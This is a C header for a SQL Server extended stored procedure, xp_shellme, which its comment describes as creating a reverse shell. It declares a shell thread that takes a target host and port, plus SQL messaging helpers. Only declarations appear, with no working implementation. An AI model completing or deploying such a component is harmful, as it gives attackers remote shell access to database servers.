// xp_shellme.h
// ------------
// Extended stored procedure for creating a reverse-shell.

#pragma once

#pragma comment(lib, "Ws2_32.lib")

#pragma comment(lib,"C:\\Program Files\\Microsoft SQL Server\\90\\SDK\\Lib\\x86\\opends60.lib")
//                      ^^ this is the default path - adjust as needed if yours differs ^^

#define _CRT_SECURE_NO_WARNINGS
#define WIN32_LEAN_AND_MEAN

#include <Windows.h>
#include <winternl.h>
#include <tchar.h>
#include <stdlib.h>
#include <srv.h>
#include <winsock2.h>
#include <ObjBase.h>

// DLL Exports
#ifdef __cplusplus
extern "C" {
#endif
__declspec(dllexport) ULONG __GetXpVersion();
__declspec(dllexport) SRVRETCODE xp_shellme(SRV_PROC *srvproc);
#ifdef __cplusplus
}
#endif

#define TACOS_RULE				1
#ifndef XP_NOERROR
#define XP_NOERROR				0			// Used for Sql_Send* functions
#endif
#ifndef XP_ERROR
#define XP_ERROR				1			// Used for Sql_Send* functions
#endif

#define MAX_IO_SIZE				1024

struct ThreadParameters
{
	char*		szTargetName;
	char*		szTargetPort;
};

void		ShellMasterThread(LPVOID lpParameters);
SRVRETCODE	Sql_SendMsg(SRV_PROC *srvproc,TCHAR* tczMsg);
SRVRETCODE	Sql_SendErr(SRV_PROC *srvproc,TCHAR* tczMsg);
bool		GetParamInfo(SRV_PROC *srvproc,int iParam,TCHAR** tcBuffer);
bool		NormalizeSqlData(void* pbData,TCHAR** tczClientRequest,ULONG pcbActualLen,BYTE pbType);
